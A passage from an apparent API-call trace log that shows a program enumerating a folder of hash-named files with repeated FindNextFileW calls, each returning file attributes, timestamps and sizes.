lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2e8f28, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e2e8f28, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e30f171, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf7d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="140445A2980512A346F4FF5725C0D44440B68C0A", cAlternateFileName="140445~1")) returned 1 [0182.148] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="14BA7A2A080D9B70E5991F61EC521D7B59DB545E", cAlternateFileName="14BA7A~1")) returned 1 [0182.148] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x72924653, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", cAlternateFileName="14BF1B~1")) returned 1 [0182.148] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d869ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2d869ef, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2d869ef, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xadb, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="150EB071D854D5071A223EEB0639B4597C92FB45", cAlternateFileName="150EB0~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455c940b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x455c940b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x455c940b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x409, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="152707BF9D0E3D40EE384F6696E826A52171E312", cAlternateFileName="152707~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e74078, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa98, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", cAlternateFileName="156A5C~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", cAlternateFileName="15FFFE~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a98146, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a98146, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4aa1d97, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1600A1E0F302711ACE755C1F40E790A8A4071644", cAlternateFileName="1600A1~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6745d71, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6745d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6781aab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", cAlternateFileName="164AA0~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1722A63DF48E38B5DC308AE741FBFA24F762D8AC", cAlternateFileName="1722A6~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc36514b8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x68, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="179F6D8969C48967D77229126C8892C5E40DBC29", cAlternateFileName="179F6D~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3243cbd, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3243cbd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x325c36f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1948A617BE08C70F70E0A406F640FD839A720820", cAlternateFileName="1948A6~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387d231, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387d231, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x389cde0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xfe7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="196BCA845E91608F7B4CA6127A60D20AF55413AC", cAlternateFileName="196BCA~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1A7C641FFE043BB811768257AF97546A0C7F3B55", cAlternateFileName="1A7C64~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", cAlternateFileName="1B5F66~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc45381d7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc45381d7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc455e324, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", cAlternateFileName="1B7A33~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f507bc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2f507bc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3999, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1BCAD7DC01C28C00520186316B38E1165ADC4D1E", cAlternateFileName="1BCAD7~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ed75c7, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61ed75c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x61ed75c7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x24707, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1C069501161F85F05DFE519ADECB1BAFD807156F", cAlternateFileName="1C0695~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb491e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3fb491e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3fb491e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", cAlternateFileName="1D4EE0~1")) returned 1 [0182.149] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621f871c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x621f871c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x621f871c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a3d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", cAlternateFileName="1D79D2~1")) returned 1 [0182.150] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e3eac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32e3eac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc330a0fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", cAlternateFileName="1D9E8D~1")) returned 1 [0182.150] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", cAlternateFileName="1E2EF8~1")) returned 1 [0182.150] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", cAlternateFileName="1E4C1D~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", cAlternateFileName="1EB2E4~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", cAlternateFileName="1F58B2~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", cAlternateFileName="1F9E7E~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f903f2d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x235d0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2002896BDFC9D08F61F19B61E28302E004E659C6", cAlternateFileName="200289~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x346a7252, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x346a7252, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x348249e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2084506A70CA3A1F0B77218D89A9FEF723A36E38", cAlternateFileName="208450~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="208483D2803117F885B3B730B35024666396680C", cAlternateFileName="208483~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbd536, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcafbd536, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x149e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2119417A1C9E8DA14601959E96C1123DBD536A0E", cAlternateFileName="211941~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4372d93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x21c4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="23235518CD38CB3D10B0AC591123694C9D398B7F", cAlternateFileName="232355~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", cAlternateFileName="23DA68~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4630, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="23E137DFD51BC10A5A373603EA1ED32314D43850", cAlternateFileName="23E137~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2414045942C11CC3E304204DAE2B8DFA27711F3F", cAlternateFileName="241404~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4386e489, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", cAlternateFileName="24BE47~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430faed6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430faed6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x430faed6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="24C5A11C7C55D609ED86B6E31E2C94301D075CB3", cAlternateFileName="24C5A1~1")) returned 1 [0182.152] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8f4c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4c8f4c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e69094, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12126, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="24F9514653FD834D9D33E21B4C0AECB308550A9A", cAlternateFileName="24F951~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69183c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x69183c7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x692337c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="254686BCA69ED43CB6F2FD35C26758AA2D993329", cAlternateFileName="254686~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d74626, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45d74626, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45d74626, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", cAlternateFileName="2598A1~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc997b2b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc997b2b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc997b2b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1867, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98", cAlternateFileName="26DCBF~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="28DD73A864C09949BE5B625DFA4CF2CC8D7B0272", cAlternateFileName="28DD73~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28032b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc28032b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fb40231, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf756, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8", cAlternateFileName="292C4D~1")) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x30d4170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2A0C541C7E9FC0F629A45F976215EB2A8AE994F3", 